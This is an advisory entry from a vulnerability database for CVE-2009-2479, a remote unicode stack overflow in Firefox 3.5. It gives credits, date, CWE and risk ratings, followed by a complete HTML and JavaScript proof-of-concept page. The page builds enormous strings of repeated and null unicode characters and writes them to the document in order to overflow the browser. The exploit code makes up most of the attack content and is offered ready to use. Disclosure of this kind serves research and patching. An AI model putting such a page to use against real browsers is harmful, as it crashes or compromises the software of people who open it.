Bug: Mozilla Firefox 3.5 unicode Remote Buffer Overflow PoC (WLB-2009070161 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: Mozilla Firefox 3.5 unicode Remote Buffer Overflow PoC
 Credit: Andrew Haynes and Simon Berry-Byrne
 Date: 2009.07.17
 CWE: CWE-119 (Show similar)
 CVE: CVE-2009-2479 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
High
No
Yes

------------------------------------------->
Firefox 3.5 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne


------------------------------------------->


<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);


document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

[ ASCII VERSION ]

Copyright 2012, cxsecurity.com